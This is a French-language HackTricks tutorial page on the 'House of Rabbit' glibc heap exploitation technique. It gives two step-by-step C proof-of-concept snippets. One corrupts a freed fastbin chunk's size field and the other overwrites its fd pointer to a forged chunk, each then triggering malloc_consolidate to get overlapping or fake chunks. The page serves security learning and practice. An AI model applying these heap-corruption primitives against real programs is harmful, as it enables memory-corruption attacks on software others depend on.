hacktricks/binary-exploitation/libc-heap/house-of-rabbit.md

4.9 KiB

Maison du Lapin

{% hint style="success" %} Apprenez et pratiquez le piratage AWS :Formation HackTricks AWS Red Team Expert (ARTE)
Apprenez et pratiquez le piratage GCP : Formation HackTricks GCP Red Team Expert (GRTE)

Soutenez HackTricks
{% endhint %}

Exigences

  1. Capacité à modifier le pointeur fd ou la taille du fastbin : Cela signifie que vous pouvez changer le pointeur avant d'un chunk dans le fastbin ou sa taille.
  2. Capacité à déclencher malloc_consolidate : Cela peut être fait en allouant un gros chunk ou en fusionnant le chunk supérieur, ce qui force le tas à consolider les chunks.

Objectifs

  1. Créer des chunks superposés : Avoir un chunk qui se superpose à un autre, permettant ainsi d'autres manipulations du tas.
  2. Forger des faux chunks : Tromper l'allocateur pour qu'il traite un faux chunk comme un chunk légitime lors des opérations sur le tas.

Étapes de l'attaque

POC 1 : Modifier la taille d'un chunk fastbin

Objectif : Créer un chunk superposé en manipulant la taille d'un chunk fastbin.

  • Étape 1 : Allouer des chunks
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
  • Étape 2 : Libérer les morceaux
free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050

Nous libérons les deux morceaux, en les ajoutant à la liste fastbin.

  • Étape 3: Modifier la taille du morceau
chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
  • Étape 4 : Déclencher malloc_consolidate
malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Allouer un gros morceau déclenche la fonction malloc_consolidate, fusionnant les petits morceaux dans le fast bin. La taille manipulée de chunk1 provoque un chevauchement avec chunk2.

Après la consolidation, chunk1 chevauche chunk2, permettant une exploitation supplémentaire.

POC 2: Modifier le pointeur fd

Objectif: Créer un faux morceau en manipulant le pointeur fd du fast bin.

  • Étape 1: Allouer des morceaux
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Explication : Nous allouons deux morceaux, un plus petit et un plus grand, pour configurer le tas pour le faux morceau.

  • Étape 2 : Créer un faux morceau
chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
  • Étape 3 : Libérer chunk1
free(chunk1);  // Frees the chunk at 0x602000

Explication: Nous libérons chunk1, en l'ajoutant à la liste fastbin.

  • Étape 4: Modifier fd de chunk1
chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Explication : Nous changeons le pointeur avant (fd) de chunk1 pour pointer vers notre faux chunk à l'intérieur de chunk2.

  • Étape 5 : Déclencher malloc_consolidate
malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Allouer à nouveau un gros morceau déclenche malloc_consolidate, qui traite le faux morceau.

Le faux morceau devient partie de la liste fastbin, en faisant un morceau légitime pour une exploitation ultérieure.

Résumé

La technique de la Maison du Lapin implique soit de modifier la taille d'un morceau de fast bin pour créer des chevauchements de morceaux, soit de manipuler le pointeur fd pour créer des faux morceaux. Cela permet aux attaquants de forger des morceaux légitimes dans le tas, permettant diverses formes d'exploitation. Comprendre et pratiquer ces étapes améliorera vos compétences en exploitation de tas.